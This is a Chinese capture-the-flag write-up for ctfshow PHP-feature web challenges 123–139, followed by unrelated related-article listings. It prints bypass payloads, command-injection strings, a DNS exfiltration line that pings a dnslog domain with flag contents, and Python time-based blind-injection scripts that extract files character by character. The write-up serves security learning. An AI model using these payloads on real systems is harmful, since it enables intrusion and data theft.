ctfshow web入门 php特性 web123--web139

web123

在这里插入图片描述必须传CTF_SHOW，CTF_SHOW.COM 不能有fl0g
在php中变量名字是由数字字母和下划线组成的，所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线，但是用一个特性是可以绕过的，就是当[提前出现后，后面的点就不会再被转义了。

POST：
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

但是和这个$a=$_SERVER['argv']; 没啥关系
不过为了后面更好做题我们还是研究一下
添加链接描述
他这里对这个就讲的特别详细了，我抄一下

argv是数组，argc是数字。
可通过var_dump($_SERVER);和var_dump($argv);语句查看

argv有独立GET之外获取参数的作用。比如传入?aaa+bbb   argv（数组）两个元素

是aaa和bbb。argc是数组的长度。

php中有些文件（pearcmd.php）是通过argv和argc来获取参数的。

web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off)，重启服务，$_SERVER[‘argv’]才会有效果，题目中应该是On

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘argv’][0]就是a[0]

$argv,$argc在web模式下不适用

cli模式（命令行）下

第一个参数总是当前【脚本】的文件名，因此 $argv[0] 就是脚本文件名。

当把php作为脚本，使用这个命令执行：php script.php arg1 arg2 arg3

以上示例的输出类似于：
array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}

然后现在是网页模式

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘argv’][0]就是a[0]

利用$_SERVER['argv'][0] 就可以绕过对**isset($fl0g)**的判断，用+代表空格。

构造payload

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

get:
?a=1=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

这道题终于解决了

web125

在这里插入图片描述就用argv的方法来写

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

web126

在这里插入图片描述如上题

web127

在这里插入图片描述extract：从数组中将变量导入到当前的符号表
在这里插入图片描述还有空格可以用

?ctf show=ilove36d

在这里插入图片描述

web128

在这里插入图片描述

gettext():_()是gettext()的拓展函数 在开启相关设定后，_("666")等价于gettext("666")，且就返回其中的参数(因为过滤了字母所以我们就用下划线，让其输出)
get_defined_vars：返回由所有已定义变量所组成的数组，因为包含了flag.php，所以flag.php里面肯定有$flag储存了flag。

?f1=_&f2=get_defined_vars

在这里插入图片描述

web129

在这里插入图片描述

stripos：查找字符串首次出现的位置

readfile： 输出文件

题目要求我们构造的f中有ctfshow，且不在最开头。则执行readfile函数，同时还要不影响flag.php的读取

GET传参：

//查看源码获得flag
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php

//直接回显base64，然后base64解密
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web130

在这里插入图片描述stripos()遇到数组会返回null,null!=false,所以可以绕过stripos函数
然后数组可以绕过preg_match

POST:
f[]=1

.表示任意单个字符，+表示必须匹配1次或多次，+?表示 重复1次或更多次，但尽可能少重复。

所以在ctfshow前面必须有至少一个字符，才会返回true
所以直接构造playload：f=ctfshow,即可绕过preg_match函数

同时，if(0 === flase)返回值为false0不是强等于false的，所以也不满足if(stripos($f, 'ctfshow') === FALSE)
POST:
f=ctfshow

还可以目录溢出

import requests
url="xxxxxxxxxxxxxxx"
data={
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web131

在这里插入图片描述会进行字符串转换我们之前的办法用不了了
用脚本使得目录溢出

import requests
url="xxxxxxxxxxxxxxx"
data={
    'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

在这里插入图片描述

web132

在这里插入图片描述
扫描后台，我们进admin/index.php看看
在这里插入图片描述在这里插入图片描述mt_rand()：使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快
生成1-877的随机数

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
由于&&比||优先级高所以可以看成是
if(（$code === mt_rand(1,0x36D) && $password === $flag ）|| $username ==="admin")
所以满足username=admin然后code=admin就有flag

?username=admin&code=admin&password=1在这里插入图片描述

web133

在这里插入图片描述

$F = @$_GET['F'](防止报错)
substr($F,0,6)（截取其中的六个字符）

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样？**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码，``是shell_exec()函数的缩写，然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕，慢慢理解
就是说执行的是eval（'$F`;+sleep 3`'）;

然后我们就可以进行类似的构造

?F=`$F` ;ls /
?F=`$F` ;tac /f*

但是没有回显

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.dnslog得到的网址 -c 1

DNSlog
在这里插入图片描述

先点击左边的获得域名，然后传参之后再点击右边的刷新结果
在这里插入图片描述flagctfshowcf2216ae8dbe496da637709e3218946c.he20y5.dnslog.cn
8-4-4-4-12的flag格式
ctfshow{cf2216ae-8dbe-496d-a637-709e3218946c}

web134

在这里插入图片描述

parse_str是对get请求进行的内容解析成变量。例如传递?a=1，执行后就是$a=1。
extract 其功能是将关联数组中的键名转换为变量名，并将键值赋给这些变量。

对_POST进行extract，那么构造

?_POST[key1]=36d&_POST[key2]=36d
//刚好   key1=36d&key2=36d

查看源代码
在这里插入图片描述

web135

在这里插入图片描述web133一样的东西但是我们的grep被过滤了，所以得思考一下怎么才行，但是反斜杠引号什么的没过滤，就可以用来绕过
但是不知道为什么web133的相关操作我都用不了了
只能用其他方法了比如写文件

?F=`$F` ;cp flag.php x.txt
?F=`$F` ;nl flag.php>x.txt
?F=`$F` ;mv flag.php x.txt

然后访问x.txt就可以拿到flag
在这里插入图片描述

拼接一下ctfshow{25b598bc-5a5b-4baf-a23e-2c4e9dea9d8f}

web136

在这里插入图片描述exec相当于system
直接ls查看目录，发现一片空白，这时候就需要学新东西了

tee命令
主要用于从标准输入读取数据，并将其内容同时输出到标准输出（屏幕）和一个或多个文件中。简单来说，就像水管中的 T 形接头一样，数据流经过这里时，既可以继续流向下游，也可以分流保存到指定的文件中。
例子
echo "This is a test line." | tee file1.txt file2.txt
不仅会输出而且还会保存到file1.txt和 file2.txt

?c=ls /|tee 3
然后访问3，下载文件记事本打开

查看flag

?c=cat /f149_15_h3r3|tee 6

在这里插入图片描述在这里插入图片描述

web 137

在这里插入图片描述获得flag要调用getflag，也就是调用类里面的成员

->用于动态语境处理某个类的某个实例

::可以调用一个静态的、不依赖于其他初始化的类方法

必须传参ctfshow

POST:
ctfshow=ctfshow::getflag

在这里插入图片描述查看源代码
在这里插入图片描述

web138

在这里插入图片描述
调用类中的成员但是不能有 : 那么刚才的方法就不能用了，但是我们的

call_user_func函数里面可以传数组，第一个元素是类名或者类的一个对象，第二个元素是类的方法名，同样可以调用。这就避免了:的出现。

传参

POST:
ctfshow[0]=ctfshow&ctfshow[1]=getflag

查看源码
在这里插入图片描述

web139

在这里插入图片描述

import requests
import time
import string

str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~"    # 构建一个包含所有字母和数字以及部分符号的字符串，符号可以自己加
result = ""          # 初始化一个空字符串，用于保存结果

#获取多少行
for i in range(1, 99):
    key = 0   #用于控制内层循环(j)的结束

    #不break的情况下，一行最多几个字符
    for j in range(1, 99):
        if key == 1:
            break
        for n in str:       #n就是一个一个的返回值
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)   #{n}是占位符
            #print(payload)
            url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
            try:
                requests.get(url, timeout=(2.5, 2.5))   #设置超时时间为 2.5 秒,包括连接超时和读取超时，超时就是之前sleep 3了。

            # 如果请求发生异常，表示条件满足，将当前字符 n 添加到结果字符串中，并结束当前内层循环
            except:
                result = result + n
                print(result)
                break
            if n == '~':    #str的最后一位，“~”不常出现，用作结尾
                key = 1
    # 在每次获取一个字符后，将一个空格添加到结果字符串中，用于分隔结果的不同位置
    result += " "

在这里插入图片描述f149_15_h3r3

import requests
import time
import string

str = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号，这里就不加了
result = ""
for j in range(1, 99):
    for n in str:
        payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
        # print(payload)
        url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
        try:
            requests.get(url, timeout=(2.5, 2.5))
        except:
            result = result + n
            print(result)
            break
        if n=="~":
            result = result + "花括号"

继续跑flag

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/526741.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

Golang——方法

Golang——方法

一. 方法定义 Golang方法总是绑定对象的实例，并隐式将实例作为第一实参。 只能为当前包内命名类型定义方法参数receiver可以任意命名。如方法中未曾使用，可省略参数名参数receiver类型可以是T或*T。基类型T不能是接口或指针类型(即多级指针)不支持方法重…
阅读更多...
【Error】Uncaught TypeError: Cannot read properties of undefined （reading ‘get’）

【Error】Uncaught TypeError: Cannot read properties of undefined （reading ‘get’）

报错原因： 返回值为undefined 解决： vue3可用？
阅读更多...
HarmonyOS时区和语言设置-使用相关api实现系统语言和地区设置

HarmonyOS时区和语言设置-使用相关api实现系统语言和地区设置

介绍 本示例展示了i18n，intl，resourceManager在eTS中的使用，使用相关api实现系统语言和地区设置、时间和时区设置，展示了区域格式化示例。 效果预览 使用说明 1.启动应用，进入应用，首页分为三个按钮&…
阅读更多...
谷歌DeepMind发布Gecko：专攻检索，与大7倍模型相抗衡

谷歌DeepMind发布Gecko：专攻检索，与大7倍模型相抗衡

ChatGPT狂飙160天，世界已经不是之前的样子。 新建了免费的人工智能中文站https://ai.weoknow.com 新建了收费的人工智能中文站https://ai.hzytsoft.cn/ 更多资源欢迎关注 Gecko 是一种通用的文本嵌入模型，可用于训练包括文档检索、语义相似度和分类等各…
阅读更多...
JavaScript(三)-Web APIS

JavaScript(三)-Web APIS

文章目录 DOM事件进阶事件流事件流与两个阶段说明事件捕获事件冒泡阻止冒泡解绑事件 事件委托其他事件页面加载事件元素滚动事件页面尺寸事件 元素尺寸与位置 DOM事件进阶 事件流 什么是事件流 事件流指的是事件完整执行过程中的流动路径 事件流与两个阶段说明 捕获与冒泡 …
阅读更多...
正确使用@Autowired

正确使用@Autowired

目录 一、前言二、跟着官方文档，学习正确使用Autowired0、实验环境1、通过构造方法进行注入1.1 问题1：那万一没有这个CustomerPreferenceDao对象，会报错吗？ 2、通过setter方法注入3、通过方法注入（这个方法可以是任意名…
阅读更多...
iOS 开发中上传 IPA 文件的方法（无需 Mac 电脑

iOS 开发中上传 IPA 文件的方法（无需 Mac 电脑

引言 在 iOS 开发中，将 IPA 文件上传到苹果开发者中心是一个重要的步骤。通常情况下，我们需要使用 Mac 电脑上的 Xcode 或 Application Loader 工具来完成这个任务。然而，如果你没有 Mac 电脑，也没有关系，本文将介绍一…
阅读更多...
【安全工具】信息收集——ENScan_GO

【安全工具】信息收集——ENScan_GO

1.初次使用 运行命令生成配置文件 ./enscan -v 2.配置cookie 参考介绍 wgpsec/ENScan_GO: 一款基于各大企业信息API的工具，解决在遇到的各种针对国内企业信息收集难题。一键收集控股公司ICP备案、APP、小程序、微信公众号等信息聚合导出。 (github.com) 3.友情提…
阅读更多...
element-ui 在Popover弹框中使用Select选择器，Vue3

element-ui 在Popover弹框中使用Select选择器，Vue3

bug描述： 当选择完select的时候,popover也会退出。 解决： popover组件的的关闭是当点击组件外的元素时会关闭，select虽然是写在组件内的，但是select有一个默认属性teleported“true” 会把它默认插到 body 元素，我…
阅读更多...
JavaScript模块化开发的前世今生

JavaScript模块化开发的前世今生

一个兜兜转转，从“北深”回到三线城市的小码农，热爱生活，热爱技术，在这里和大家分享一个技术人员的点点滴滴。欢迎大家关注我的微信公众号：果冻想 前言 现代化的编程语言，基本都支持模块化的开发&#xff…
阅读更多...
嵌入式会越来越卷吗?

嵌入式会越来越卷吗?

当谈及嵌入式系统时，我们探究的不仅是一种科技，更是一个日益多元与普及的趋势。嵌入式系统，作为一种融入更大系统中的计算机硬件和软件，旨在执行特定功能或任务。但这个看似特定的系统概念，却在发展中展现出了惊人的灵…
阅读更多...
C++设计模式：观察者模式（三）

C++设计模式：观察者模式（三）

1、定义与动机 观察者模式定义：定义对象间的一种1对多（变化）的依赖关系，以便当一个对象（Subject）的状态发生比改变时，所有依赖于它的对象都得到通知并且自动更新 再软件构建过程中&#xff0c…
阅读更多...
(文章复现)基于改进秃鹰算法的微电网群经济优化调度研究

(文章复现)基于改进秃鹰算法的微电网群经济优化调度研究

参考文献： [1]周辉,张玉,肖烈禧,等.基于改进秃鹰算法的微电网群经济优化调度研究[J].太阳能学报,2024,45(02):328-335. 1.基本原理 微电网群由3个独立的微电网(microgrid , MG)组成,各微电网内部包含光伏(photovoltaic , PV)、风力发电机(windturbine,WT)、电动汽…
阅读更多...
h5 笔记3 多媒体素材运用

h5 笔记3 多媒体素材运用

关于电影编码 我们经常用扩展名来判断文件的类型，但是对于影音文件未必适用，影音文件的文件格式(container)和编码(codec)之间并非绝对相关。决定影音文件播放的关键在于浏览器是否含有适合的影音编解码技术。 笔记来源： ©《HTML5CSS3J…
阅读更多...
机器学习笔记 - 深度学习遇到超大图像怎么办？使用 xT 对极大图像进行建模论文简读

机器学习笔记 - 深度学习遇到超大图像怎么办？使用 xT 对极大图像进行建模论文简读

作为计算机视觉研究人员，在处理大图像时，避免不了受到硬件的限制，毕竟大图像已经不再罕见，手机的相机和绕地球运行的卫星上的相机可以拍摄如此超大的照片，遇到超大图像的时候，我们当前最好的模型和硬件都会达到极限。 所以通常我们在处理大图像时会做出两个次优选择之一：…
阅读更多...
Centos 7 安装通过yum安装google浏览器

Centos 7 安装通过yum安装google浏览器

在CentOS 7上使用yum安装Google Chrome浏览器稍微复杂一些，因为Chrome并不直接包含在默认的Yum仓库中。按照以下步骤来操作： 1、添加Google Chrome仓库 首先，您需要手动添加Google Chrome的Yum仓库。打开终端，并使用文本编辑器&a…
阅读更多...
物联网实战--驱动篇之(四)LoRa应用(modbus)

物联网实战--驱动篇之(四)LoRa应用(modbus)

目录 一、前言 二、板级收发 三、主机请求 四、从机接收及回复 五、主机接收 一、前言 之前两篇分别介绍了modbus和sx1278的驱动，但是都并未具体讲解如何应用，那么这一篇就把两者结合起来，做个小demo，便于理解这两个驱动的使…
阅读更多...
2005-2023年各省国内生产总值指数分季度数据

2005-2023年各省国内生产总值指数分季度数据

2005-2023年各省国内生产总值指数分季度数据 1、时间：2005-2023年 2、来源：国家统计局、各省统计局 3、指标：地区生产总值指数(上年同期100)_累计值(%) 4、范围：31省 5、时间跨度：季度 6、缺失情况：无…
阅读更多...
20240325-1-HMM

20240325-1-HMM

HMM 直观理解 马尔可夫链（英语：Markov chain），又称离散时间马尔可夫链（discrete-time Markov chain，缩写为DTMC），因俄国数学家安德烈马尔可夫（俄语：Андре…
阅读更多...
Ubuntu 20.04.06 PCL C++学习记录（十六）

Ubuntu 20.04.06 PCL C++学习记录（十六）

[TOC]PCL中点云分割模块的学习 学习背景 参考书籍&#xff1a;《点云库PCL从入门到精通》以及官方代码PCL官方代码链接,&#xff0c;PCL版本为1.10.0&#xff0c;CMake版本为3.16 学习内容 用一组点云数据做简单的平面的分割 源代码及所用函数 源代码 #include<iostr…
阅读更多...
最新文章

Copyright @ 2022~2023